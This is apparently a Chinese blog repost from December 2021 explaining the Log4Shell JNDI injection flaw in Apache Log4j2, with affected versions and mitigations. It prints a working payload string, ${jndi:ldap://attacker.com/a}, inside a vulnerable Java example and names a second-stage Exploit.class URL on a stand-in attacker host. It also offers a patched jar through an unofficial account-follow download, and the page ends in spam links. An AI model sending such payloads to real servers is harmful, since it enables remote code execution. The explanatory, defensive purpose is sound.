<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          Apache Log4j爆核彈級(jí)漏洞,大廠中招、公司炸鍋了...

          共 2286字,需瀏覽 5分鐘

           ·

          2021-12-14 10:40


          作者:研磨架構(gòu)

          出處:https://www.zhihu.com/question/505025655/answer/2265086040


          這周,很多 Java 程序員都忙瘋了,因?yàn)橹灰?Java 程序員,幾乎都會(huì)用到 Apache Log4j 這個(gè)組建。

          但這個(gè)組建卻爆出來(lái)一個(gè)史詩(shī)級(jí)的 Bug 。



          1


          Apache Log4j


          Apache Log4j 2 是一款優(yōu)秀的 Java 日志框架。該工具重寫了 Log4j 框架,并且引入了大量豐富的特性。該日志框架被大量用于業(yè)務(wù)系統(tǒng)開發(fā),用來(lái)記錄日志信息。

          由于 Apache Log4j 2 某些功能存在遞歸解析功能,攻擊者可直接構(gòu)造惡意請(qǐng)求,觸發(fā)遠(yuǎn)程代碼執(zhí)行漏洞。

          漏洞原理官方表述是:Apache Log4j2 中存在JNDI注入漏洞,當(dāng)程序?qū)⒂脩糨斎氲臄?shù)據(jù)進(jìn)行日志記錄時(shí),即可觸發(fā)此漏洞,成功利用此漏洞可以在目標(biāo)服務(wù)器上執(zhí)行任意代碼。

          通俗簡(jiǎn)單的說(shuō)就是:在打印日志的時(shí)候,如果你的日志內(nèi)容中包含關(guān)鍵詞??${,攻擊者就能將關(guān)鍵字所包含的內(nèi)容當(dāng)作變量來(lái)替換成任何攻擊命令,并且執(zhí)行。

          通過(guò)JNDI注入漏洞,黑客可以惡意構(gòu)造特殊數(shù)據(jù)請(qǐng)求包,觸發(fā)此漏洞,從而成功利用此漏洞可以在目標(biāo)服務(wù)器上執(zhí)行任意代碼。

          注意,此漏洞是可以執(zhí)行任意代碼,這就很恐怖,相當(dāng)于黑客已經(jīng)攻入計(jì)算機(jī),可以為所欲為了,就像已經(jīng)進(jìn)入你家,想干什么,就干什么,比如運(yùn)行什么程序,植入什么病毒,變成他的肉雞。



          2


          漏洞詳細(xì)描述


          Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞詳細(xì)信息已被披露,而經(jīng)過(guò)分析,本次 Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞,正是由于組件存在 Java JNDI 注入漏洞。

          當(dāng)程序?qū)⒂脩糨斎氲臄?shù)據(jù)記入日志時(shí),攻擊者通過(guò)構(gòu)造特殊請(qǐng)求,來(lái)觸發(fā) Apache Log4j2 中的遠(yuǎn)程代碼執(zhí)行漏洞,從而利用此漏洞在目標(biāo)服務(wù)器上執(zhí)行任意代碼。

          攻擊原理:

          import org.apache.log4j.Logger;import java.io.*;import java.sql.SQLException;import java.util.*;public class VulnerableLog4jExampleHandler implements HttpHandler { static Logger log = Logger.getLogger(log4jExample.class.getName()); /**   * A simple HTTP endpoint that reads the request's User Agent and logs it back.   * This is basically pseudo-code to explain the vulnerability, and not a full example.   * @param he HTTP Request Object   */ public void handle(HttpExchange he) throws IOException {    string userAgent = he.getRequestHeader("user-agent");
          // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header. // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a} log.info("Request User Agent:" + userAgent); String response = "

          Hello There, " + userAgent + "!

          ";
          he.sendResponseHeaders(200, response.length()); OutputStream os = he.getResponseBody(); os.write(response.getBytes()); os.close(); }}

          根據(jù)上面提供的攻擊代碼,攻擊者可以通過(guò)JNDI來(lái)執(zhí)行LDAP協(xié)議來(lái)注入一些非法的可執(zhí)行代碼。

          攻擊步驟


          • 攻擊者向漏洞服務(wù)器發(fā)起攻擊請(qǐng)求。

          • 服務(wù)器通過(guò)Log4j2記錄攻擊請(qǐng)求中包含的基于JNDILDAP的惡意負(fù)載${jndi:ldap://attacker.com/a}attacker.com是攻擊者控制的地址。

          • 記錄的惡意負(fù)載被觸發(fā),服務(wù)器通過(guò)JNDIattacker.com請(qǐng)求。

          • attacker.com就可以在響應(yīng)中添加一些惡意的可執(zhí)行腳本,注入到服務(wù)器進(jìn)程中,例如可執(zhí)行的字節(jié)碼http://second-stage.attacker.com/Exploit.class

          • 攻擊者執(zhí)行惡意腳本。


          專門畫了一張圖,讓大家更好理解,一圖勝千言:





          下面就是漏洞“攻陷”,比如可以在baidu搜索框里輸入特殊格式請(qǐng)求,造成網(wǎng)頁(yè)劫持:




          受影響版本(看起來(lái)是Log4j2才受影響,Log4j 1.2.15以下不受影響):

          Apache Log4j 2.x <= 2.14.1

          已知受影響的應(yīng)用程序和組件:

          • Spring-boot-strater-log4j2

          • Apache Solr

          • Apache Flink

          • Apache Druid


          ?

          據(jù)悉,此次 Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞風(fēng)險(xiǎn)已被業(yè)內(nèi)評(píng)級(jí)為“高危”,且漏洞危害巨大,利用門檻極低。

          有報(bào)道稱,目前 Apache Solr、Apache Struts2、Apache Druid、Apache Flink 等眾多組件及大型應(yīng)用均已經(jīng)受到了影響,需盡快采取方案阻止。
          目前,Apache Log4j 已經(jīng)發(fā)布了新版本來(lái)修復(fù)該漏洞,請(qǐng)受影響的用戶將 Apache Log4j2 的所有相關(guān)應(yīng)用程序升級(jí)至最新的 Log4j-2.15.0-rc2 版本。
          同時(shí)升級(jí)已知受影響的應(yīng)用程序和組件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。?





          3


          解決方案


          目前,Apache Log4j 已經(jīng)發(fā)布了新版本來(lái)修復(fù)該漏洞,請(qǐng)受影響的用戶將 Apache Log4j2 的所有相關(guān)應(yīng)用程序升級(jí)至最新的 Log4j-2.15.0-rc2 版本。

          同時(shí)升級(jí)已知受影響的應(yīng)用程序和組件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。

          臨時(shí)修復(fù)建議:

          JVM 參數(shù)添加 -Dlog4j2.formatMsgNoLookups=truelog4j2.formatMsgNoLookups=TrueFORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設(shè)置為true


          安全建議:

          據(jù) Apache 官方最新信息顯示,release 頁(yè)面上已經(jīng)更新了 Log4j 2.15.0 版本,主要是那個(gè)log4j-core包,漏洞就是在這個(gè)包里產(chǎn)生的,如果你的程序有用到,盡快緊急升級(jí)。

          現(xiàn)在網(wǎng)上公開的倉(cāng)庫(kù)還下載不到解決漏洞的 Log4j2 2.15.0版本,需要自己編譯源碼獲取Jar包,我這里有一份,已經(jīng)幫大家下載好了。

          Log4j2 2.15.0 jar 包下載方式,點(diǎn)擊下方卡片關(guān)注后,回復(fù):log,獲取Jar 包。

          關(guān)注公眾號(hào)回復(fù)「log」抽獎(jiǎng)
          瀏覽 60
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  豆花天天吃最新视频 | 免费大免费黄在线 | 日产欧美在线 | 激情 小说 亚洲 图片: 伦 | 大香蕉在线免费 |